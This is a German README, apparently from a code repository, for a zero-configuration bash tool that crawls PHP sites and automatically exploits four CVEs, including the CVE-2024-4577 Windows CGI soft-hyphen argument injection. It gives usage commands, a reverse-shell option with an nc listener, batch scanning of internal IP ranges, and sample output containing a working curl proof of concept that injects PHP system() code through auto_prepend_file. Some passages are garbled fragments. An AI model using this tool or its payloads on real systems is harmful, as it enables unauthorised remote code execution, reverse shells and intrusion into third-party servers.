
Automatisierte Erkennung und Ausnutzung kritischer PHP-Sicherheitslücken (CVE-2024-4577 bypass, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)
Automatisierte Erkennung und Ausnutzung kritischer PHP-Sicherheitslücken (CVE-2024-4577-Bypass, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)
PHP8.1.x_Exploit.sh ist ein einziges, null‑konfigurations Sicherheitsbewertungswerkzeug, das automatisch verwundbare PHP-Endpunkte entdeckt und vier hochwirksame CVEs ausnutzt, die PHP-Versionen vor 8.1.34 (veröffentlicht Dezember 2024) betreffen. Es erfordert kein manuelles Erstellen von Payloads – geben Sie einfach eine URL an und das Skript erledigt den Rest, vom Crawling bis zur Remote-Code-Ausführung. Vollautomatischer Autopilot – erkennt und exploitiert automatisch ohne Benutzereingaben.
-d und Soft‑Hyphen %AD Bypass.getimagesize()
array_merge.parallel falls verfügbar, fällt ansonsten zurück.Keine Root‑Rechte erforderlich – das Tool sendet nur HTTP‑Anfragen und führt optional eine Reverse Shell aus (erfordert einen Listener auf Ihrem Rechner).
git clone https://github.com/gl1tch0x1/PHP_8.1.x_Exploit.git
cd PHP_8.1.x_Exploit
chmod +x PHP8.1.x_Exploit.sh
Einzelnes Ziel (am häufigsten)
./PHP8.1.x_Exploit.sh -u http://target.example.com
Einzelnes Ziel mit Reverse Shell (CVE-2024-4577)
./PHP8.1.x_Exploit.sh -u http://vulnerable-win-server.local/ --revshell 192.168.1.100 4444
Dann auf Ihrem Rechner:
nc -lvnp 4444
Batch‑Scan mehrerer Ziele
./PHP8.1.x_Exploit.sh -l targets.txt --threads 10
Beispiel targets.txt:
http://192.168.1.1/
https://10.0.0.5:8080/
http://internal-app.company.com
Nur‑Scan‑Modus (keine Exploit‑Versuche)
./PHP8.1.x_Exploit.sh -u http://target.com/ --scan-only
Bericht in Datei speichern
./PHP8.1.x_Exploit.sh -u http://target.com/ -o results.txt
Ausführliche / Debug‑Ausgabe
./PHP8.1.x_Exploit.sh -u http://target.com/ --verbose
./PHP8.1.x_Exploit.sh -u http://target.com/ --debug # sehr detailreich
Hinweis: CVE‑2025‑14180 und CVE‑2025‑14178 können nur von innerhalb des Servers (lokale Tests) genau erkannt werden. Das Skript erreicht dies, indem es nach einem erfolgreichen CGI‑Exploit einen Scanner hochlädt.
[*] Scanning: http://192.168.1.100/
[*] OS: windows
[*] PHP version: 8.1.33
[*] Testing CVE-2024-4577 on http://192.168.1.100/cgi-bin/php-cgi.exe
[✓] CVE-2024-4577: VULNERABLE (soft hyphen injection)
[*] Attempting reverse shell to 192.168.1.5 4444
...
[*] Testing CVE-2025-14177 via http://192.168.1.100/upload.php
[-] CVE-2025-14177: Potential heap leak detected!
...
[*] Running deep local scan via RCE...
PHP_VERSION=8.1.33
CVE-2025-14180: VULNERABLE
CVE-2025-14178: VULNERABLE
CVE-2025-14177: VULNERABLE (leak: 486561704c65616b21...)
===================== Report for http://192.168.1.100/ =====================
OS: windows
PHP: 8.1.33
CVE-2024-4577: EXPLOITABLE at http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input
PoC: curl -X POST --data '<?php system($_GET["c"]); ?>' 'http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input&c=whoami'
CVE-2025-14177: VULNERABLE
CVE-2025-14180/14178: VULNERABLE (see deep scan output)
==============================================================
--revshell öffnet einen Socket vom Ziel zu Ihrem Rechner. Stellen Sie sicher, dass Sie das Recht haben, sich zurückzuverbinden.Pull‑Requests, Fehlerberichte und Feature‑Vorschläge sind willkommen. Bitte beachten Sie:
parallel.GNU General Public License v3.0 – siehe LICENSE-Datei.
Hergestellt mit 🧠 für die Sicherheitsgemeinschaft. Ethisch nutzen.
| Abhängigkeit | Zweck | Normalerweise installiert? |
|---|
bash 4.0+ | Skript‑Interpreter | Ja (Linux/macOS) |
curl | HTTP‑Anfragen | Ja |
grep, sed, awk | Textverarbeitung | Ja |
mktemp | Erstellung temporärer Dateien | Ja |
(optional) parallel | Schnelleres Batch‑Scannen | Nein (aber empfohlen) |
(optional) jq | JSON‑Ausgabeformatierung | Nein |
| Phase | Aktion |
|---|
| 1 | Fingerprinting – Betriebssystem‑ und PHP‑Version aus Headern und Sonden. |
| 2 | Crawling – extrahiert href‑ und action‑Attribute von der Startseite. |
| 3 | CGI‑Erkennung – probiert gängige Pfade und gecrawlte Links, die wie CGI aussehen. |
| 4 | CVE‑2024‑4577‑Test – injiziert sowohl -d als auch %AD Payloads; bei Erfolg führt es Befehle aus oder sendet eine Reverse Shell. |
| 5 | Upload‑Endpunkt‑Erkennung – prüft gängige Upload‑Pfade und alle Formulare, die „upload“/„image“ enthalten. |
| 6 | CVE‑2025‑14177‑Test – erstellt ein fehlerhaftes JPEG, sendet es per POST an jeden Upload‑Endpunkt, erkennt Heap‑Lecks. |
| 7 | Tiefer interner Scan – falls RCE erreicht wird, lädt ein Scanner‑PHP‑Skript hoch und führt es aus, um CVE‑2025‑14180 / CVE‑2025‑14178 zu testen. |
| 8 | Berichterstattung – gibt eine Zusammenfassung aus und schreibt optional in eine Datei. |
| Option | Beschreibung |
|---|
-u URL | URL eines einzelnen Ziels (z. B. http://example.com/) |
-l DATEI | Batch‑Datei mit einer URL pro Zeile |
--scan-only | Nur erkennen – nicht exploitieren (keine Reverse Shell, keine Payload‑Uploads) |
-o DATEI | Schreibe Endbericht in DATEI |
--threads N | Anzahl paralleler Threads für Batch‑Scan (Standard: 5) |
--timeout N | HTTP‑Timeout in Sekunden (Standard: 10) |
--no-color | Farbausgabe deaktivieren |
--verbose | Detaillierten Fortschritt anzeigen |
--debug | Jede HTTP‑Anfrage anzeigen (kann sensible Daten offenlegen) |
--revshell IP PORT | Versuche Reverse Shell, wenn CVE‑2024‑4577 gefunden wird |
-h, --help | Hilfe anzeigen und beenden |
| CVE | Schweregrad | Auswirkung | Exploit‑Vektor | Behoben in |
|---|
| CVE‑2024‑4577 (Bypass) | Kritisch | RCE | Windows‑CGI‑Argumentinjektion (Soft‑Hyphen‑Mapping) | PHP 8.1.34 |
| CVE‑2025‑14177 | Mittel/Hoch | Info‑Leck (Heap‑Speicher) | Fehlerhaftes JPEG, an getimagesize() übergeben | PHP 8.1.34 |
| CVE‑2025‑14180 | Hoch | DoS (NULL‑Dereferenzierung) | PDO PostgreSQL mit emulierten Prepares + fehlerhaftem Parameter \x99 | PHP 8.1.34 |
| CVE‑2025‑14178 | Hoch (8.2) | DoS / mögliche Speicherkorruption | array_merge() mit riesigen Arrays führt zu Integer‑Überlauf | PHP 8.1.34 |
| Problem | Lösung |
|---|
curl: command not found | Installieren Sie curl |
GNU parallel not found | Ignoriert – Skript funktioniert auch ohne (langsamere Batch‑Scans) |
| Keine CGI‑Endpunkte gefunden | Das Ziel verwendet möglicherweise kein CGI, oder es befindet sich hinter einer WAF, die -d‑Flags blockiert |
| CVE‑2024‑4577 funktioniert, aber Reverse Shell schlägt fehl | Firewall prüfen; versuchen Sie einen einfacheren Payload mit --scan-only und manuellem nc‑Listener |
| Bild‑Lecktest gibt immer „No leak“ zurück | Der Upload‑Endpunkt verwendet möglicherweise nicht getimagesize() oder bereinigt Binärdaten |
| Lokaler Scanner‑Upload schlägt fehl | Das Web‑Root ist möglicherweise nicht beschreibbar; das Skript versucht, in dasselbe Verzeichnis wie das CGI‑Skript zu schreiben |